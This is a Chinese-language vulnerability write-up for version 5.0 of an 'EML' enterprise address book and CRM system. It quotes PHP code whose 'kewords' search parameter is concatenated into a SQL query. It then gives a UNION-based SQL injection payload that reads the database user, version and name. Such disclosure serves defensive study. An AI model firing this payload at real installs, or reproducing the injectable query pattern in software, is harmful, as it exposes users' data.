eml 企业通讯录管理系统 v5.0 我的应用页面 SQL 注入

漏洞描述

EML 企业客户关系管理系统,是基于 Linux 开放性内核和 Apache 基础上 Php+Mysql 的智能 B/S 交互式服务系统。 eml 企业通讯录管理系统 v5.0 我的应用页面 kewords 参数 过滤不严导致 sql 注入。

漏洞分析

WWW/action/action.link.php 文件 第 12 行

```
//列表
if($do=="myLink"){
    If_rabc($action,$do); //检测权限

    if($_POST['kewords']){$search .= " and link_name like
'%".strip_tags($_POST[kewords])."%'";}
    if($_POST['time_start']!="" && $_POST['time_over']!=""){
        $search .= " and `created_at` >
'".strtotime($_POST[time_start]." 00:00:00")."' AND  `created_at` <
'".strtotime($_POST[time_over] ." 23:59:59")."'";
    }

    $user_id=$_SESSION['uid'];
    //查询
    $sql="SELECT * FROM `eml_link` where user_id='$uid' $search order
by id desc";

    //echo $sql;
    $db->query($sql);
    $list=$db->fetchAll();


    //模版
    $smt = new smarty();smarty_cfg($smt);
    $smt->assign('list',$list);
    $smt->assign('title',"应用列表");
    $smt->display('link_list.html');
    exit;
```

}

kewords 参数没有任何过滤，直接进入 sql 查询 导致 sql 注入漏洞

漏洞复现：

payload：3’ union select user(),2,3,version(),database(),6,7#